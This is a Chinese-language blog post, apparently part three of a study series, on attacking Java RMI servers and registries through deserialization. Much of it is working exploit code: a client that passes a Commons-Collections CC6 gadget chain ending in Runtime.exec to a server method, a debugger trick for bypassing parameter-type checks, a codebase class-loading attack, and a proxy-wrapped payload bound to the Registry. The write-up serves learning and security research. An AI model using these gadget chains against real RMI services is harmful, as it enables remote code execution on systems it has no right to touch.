Java RMI学习与解读(三)
Java RMI学习与解读(三)
写在前面
接下来这篇就是最感兴趣的Attack RMI部分了。
前面也说过,RMI的通信过程会用到反序列化,那么针对于RMI的三个角色: Server/Regisrty/Client 都存在攻击方法,接下来解读与学习这一部分。
引用下su18师傅文章中RMI部分的RMI执行流程图,因为后面学习RMI的攻击方式还是需要对RMI的执行流程很清楚才可以

Attack RMI
攻击Server端
0x01 恶意传参
其实这个思路简单点说,就是在远程接口(RemoteInterface)中声明了一个方法,该方法的参数是一个对象(Object类型),那么在我们RMI时,传入一个自定义的恶意对象,在RMI通信时序列化,在Server端触发反序列化,且Server端存在一些Gadget就可以实现RCE。
这里有一个上一篇文章没细跟的点,我们知道反序列化操作在RMI时是被封装到了unmashralValue方法中,该方法位于rt.jar!/sun/rmi/server/UnicastRef.class中,只要不是八大基本类型的参数,最终都会反序列化(比如String,数组,以及基本数据类型的封装类如Interger,这些都会被反序列化)所以说这个方法的参数类型不一定必须为Object。

下面还是选用Object类型
pom.xml加入CC或其他Gadget可RCE的,这里用的CC6
RemoteInterface
String attackServer(Object object) throws RemoteException;
RemoteObject
@Override
public String attackServer(Object object) throws RemoteException {
return "In attackServer Method!";
}
RMIClient
public class RMIClient3 {
public static void main(String[] args) throws Exception {
//创建注册中心对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
//打印注册中心中的远程对象别名list
System.out.println(Arrays.toString(registry.list()));
//通过别名获取远程对象存根stub并调用远程对象的方法
RemoteInterface stub = (RemoteInterface) registry.lookup("Zh1z3ven");
System.out.println("[INFO] RegistryServer: " + stub.attackServer(evilObject()));
}
public static Object evilObject() throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, Testtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
return hashSet;
}
}

大致流程为
RemoteInterface接口存在参数类型为Object的方法
Client端 ==> 将作为参数的对象进行序列化(通过远程对象的引用也可以说是代理对象) ==> Server端 ==> 反序列化该参数(readObject) ==> 进入Gadget
那么这里有一个细节就是我们产生恶意类的方法的返回值(Object evilObject())与RemoteInterface中定义的方法的参数类型都为Object,这里是没有问题的。但是当传参的类型与我们传入的类型不一致时,比如RemoteInterface接口定义的是A类型,我们传入的是B类型,虽然都是传入的对象,但在Server端会抛出找不到该方法的异常,因为传入的参数类型与接口定义的方法不匹配。
这里有4种解决方法,仅复现第4种
- 通过网络代理,在流量层修改数据
- 自定义 “java.rmi” 包的代码,自行实现
- 字节码修改
- 使用 debugger
首先我们在RemoteInterface接口中重载attackServer方法,方法的参数为Client端不存在的类(ServerObject), 在RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法处下断点,将method所代表的方法中的参数值类型改为服务端存在ServerObject.class再去触发反序列化即可。
RMI-Server/RemoteInterface

RMI-Server/RemoteObject
将之前的attackServer方法内容注释掉

RMI-Client/RemoteInterface
同时写上这两个方法且创建ServerObject类

可以尝试先直接运行Client端 会抛出异常

我们这里在java/rmi/server/RemoteObjectInvocationHandler.java中invokeRemoteMethod方法下断点

debug,更改method的值

弹出计算器

回头看看这个利用手法的限制:
- 已知RemoteInterface且其中存在某方法的参数类型为对象
- 这个对象的模版类已知
- 存在反序列化Gadget且可利用
0x02 动态加载
前面也提到了RMI支持动态加载,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。
当时提到了两个场景,分别是Client端加载Server端和Server端加载Client端。这里用到的就是Server端加载Client端。
通过java.rmi.server.codebase属性设置rmi协议的URL,让Server端加载指定URL下的恶意类完成RCE。
当然使用动态类加载依然有使用前提:
- Server端设置RMISecurityManager作为安全管理器(SecurityManager)
- Server端属性 java.rmi.server.useCodebaseOnly 的值必须为false(JDK 6u45、7u21之前默认为false)
- serialVersionUID ,这个点是个人想到的,如果UID不一样导致反序列化失败如何解决?
动态加载时用的是loadClass方法加载.class文件,但是调用方法时是在远程Server端而本地Client端是拿到的方法执行后的返回值。那如何利用呢?
这里想到个不太现实的场景:Server端的RemoteObject中实现的方法会去将我们传入的远程对象进行newInstance操作,触发静态代码块中代码执行。那么可控点出来了,我们在Client端上的远程类构造CC poc(或其他任意RCE的)写入静态代码块。达到远程代码执行orRCE。
但是这里有新问题:
- 真的有这种场景嘛?(感觉基本实战遇不到)
- 因为Server端只会loadClass并不会进行反序列化(所以在静态代码块中就要完成readObject的操作),即使我们不是CC poc,只是写了Runtime.exec去执行命令,如何避免本地触发命令执行呢?
RemoteInterface
String attackServerLoadClass(Object object) throws RemoteException;
RemoteObject
@Override
public String attackServerLoadClass(Object object) throws RemoteException {
try {
object.getClass().newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return object.getClass().getName();
}
其他部分基本和之前动态加载代码没啥区别,恶意类的话,在静态代码块写入CC poc或runtime.exec()弹calc即可

这么来看针对于Server端的攻击,可能性高的还是RemoteInterface中声明的方法其中有以对象作为参数的,因为Server端会对传入的参数进行反序列化达到RCE(需要有已知Gadget)
攻击Registry
关于Registry其实就是Server端在绑定(bind)name与远程对象时,Server端序列化传输远程对象到Registry,Registry在进行反序列化从而进入Gadget。当然bind方法只是其中一个可以进入反序列化的点,同样的还有list/lookup/rebind/unbind,只不过可控的传参类型有些区别,比如lookup是可控string类型,bind则是Object就会在构造poc上更方便些。
RegistryServer
public class RegistryServer5 {
public static void main(String[] args) {
try {
//创建Registry
Registry registry = LocateRegistry.createRegistry(1099);
//实例化远程对象类,创建远程对象
RemoteObject remoteObject = new RemoteObject();
//通过Naming类绑定别名与 RemoteObject
Naming.bind("rmi://127.0.0.1:1099/Zh1z3ven", remoteObject);
//通过Naming类绑定别名与 RemoteObject
System.out.println("RegistryServer Start ...");
System.out.println("Registry List: " + Arrays.toString(registry.list()));
} catch (Exception e) {
e.printStackTrace();
}
}
}
AttackRegisrty
public class AttackRMIRegistry {
public static void main(String[] args) throws Exception {
// 使用AnnotationInvocationHandler做动态代理
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("zh1z3ven", evilObject());
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class,}, invocationHandler);
// 获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.unbind("zh1z3ven2");
registry.bind("zh1z3ven2", remote);
System.out.println("RegistryServer List: " + Arrays.toString(registry.list()));
}
public static Object evilObject() throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, Testtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
return hashSet;
}
}

END
当然还有很多手法这里没记录,比如DGC层反序列化,攻击Client端,BypassJEP290,RMI相关Gadget,BaRMIe工具解读都还没有做,后面遇到了再分析。深感学习RMI吃力,下面列一些参考文章,感兴趣的师傅可以深入研究下。
Reference
https://su18.org/post/rmi-attack/
https://mp.weixin.qq.com/s/M_-lWKb9xO6u2MxRaEQ--Q
Java RMI学习与解读(三)的更多相关文章
- Java RMI学习与解读(一)
Java RMI学习与解读(一) 写在前面 本文记录在心情美丽的一个晚上. 嗯.就是心情很美丽. 那为什么晚上还要学习呢? emm... 卷... 卷起来. 全文基本都是根据su18师傅和其他师傅的文 ...
- Java RMI学习与解读(二)
Java RMI学习与解读(二) 写在前面 接上篇文章,这篇主要是跟着看下整个RMI过程中的源码并对其做简单的分析 RMI源码分析 还是先回顾下RMI流程: 创建远程对象接口(RemoteInterf ...
- Java命令学习系列(三)——Jmap
Java命令学习系列(三)——Jmap 2015-05-16 分类:Java 阅读(479) 评论(0) Jmap jmap是JDK自带的工具软件,主要用于打印指定Java进程(或核心文件.远程调试服 ...
- Java NIO 学习笔记(三)----Selector
目录: Java NIO 学习笔记(一)----概述,Channel/Buffer Java NIO 学习笔记(二)----聚集和分散,通道到通道 Java NIO 学习笔记(三)----Select ...
- Java RMI学习
网上资料: Java RMI Tutorial Dynamic code downloading using RMI RPC-维基:Remote procedure call implementing ...
- Java基础学习笔记(三)
18.2.1无参无返回值的方法 18.2.1.1定义方法的语法格式 public static void 方法名称(){ 方法体 } 方法调用 类名.方法名称(); 注意:在Java中,同一个类中的方 ...
- JAVA基础学习day21--IO流三-File、Properties、PrintWriter与合并、分割流
一.File 1.1.File概述 文件和目录路径名的抽象表示形式. 用户界面和操作系统使用与系统相关的路径名字符串 来命名文件和目录.此类呈现分层路径名的一个抽象的.与系统无关的视图.抽象路径名 有 ...
- JAVA基础学习day16--集合三-Map、HashMap,TreeMap与常用API
一.Map简述 1.1.简述 public interface Map<K,V> 类型参数: K - 此映射所维护的键的类型 key V - 映射值的类型 value 该集合提供键--值的 ...
- Java IO学习笔记(三)转换流、数据流、字节数组流
转换流 1.转换流:将字节流转换成字符流,转换之后就可以一个字符一个字符的往程序写内容了,并且可以调用字符节点流的write(String s)方法,还可以在外面套用BufferedReader()和 ...
随机推荐
- PTA 面向对象程序设计 6-3 面积计算器(函数重载)
6-3 面积计算器(函数重载) 实现一个面积计算器,它能够计算矩形或长方体的面积. 函数接口定义: int area(int x, int y); int area(int x, int y, int ...
- 01-mysql必知必会
概述 主键:唯一区分表中每个行(不可重复,不允许null mysql:基于客户-服务器的数据库系统 使用mysql mysql是部署在主机上的,可以通过ssh建立mysql连接 # 显示数据库 sho ...
- mysql事务干货详解
说明: mysql是现在行业中流行的关系型数据库,它的核心是存储引擎.mysql的存储引擎有很多种我们可以通过命令查看如下 SHOW ENGINES 不同版本得到的数据不一样,我们今天说的事务是在 M ...
- 学习PHP中的国际化日期格式化操作
对于国际化功能来说,日期相关的格式化操作也是一块重头戏,毕竟不同的时区,不同的国家对于日期的表示方式都会有些不同.今天我们主要来学习的就是国际化地表示日期相关的信息内容. 日期格式化 首先就是最直接的 ...
- trait能力在PHP中的使用
相信大家对trait已经不陌生了,早在5.4时,trait就已经出现在了PHP的新特性中.当然,本身trait也是特性的意思,但这个特性的主要能力就是为了代码的复用. 我们都知道,PHP是现代化的面向 ...
- 虚拟机安装配置centos7
安装 https://blog.csdn.net/babyxue/article/details/80970526 主机环境预设 更换国内yum源 epel源 https://www.cnblogs. ...
- 「含源码」关于NXP IMX8 Mini的图形开发指南(GPU)案例分享!
前言 Graphical Demo框架提供了对平台相关依赖的抽象.Graphical应用的通用封装,如模型加载.纹理加载.着色器编译等,以及其它一些通用的应用逻辑处理的封装,使得使用框架的开发人员(以 ...
- P6113-[模板]一般图最大匹配【带花树】
正题 题目链接:https://www.luogu.com.cn/problem/P6113 题目大意 给出一张无向图,求最大匹配. \(1\leq n\leq 10^3,1\leq m\leq 5\ ...
- (STAR-CCM+教程)001 软件安装以及界面介绍
STAR-CCM+是西门子公司旗下产出的一款CFD软件,因其强大的多面体网格划分功能.简易的操作流程被广泛应用于工程计算以及科研工作中. 学习资源 个人在使用STAR-CCM+过程中,主要参考资料来源 ...
- Java JDK环境变量如何配置?Java基础!
在了解什么是Java.Java 语言的特点以及学习方法之后,本节将介绍如何搭建编写 Java JDK环境变量如何配置,只有搭建了环境才能敲代码! 学Java的都知道,JDK 是一种用于构建在 Java ...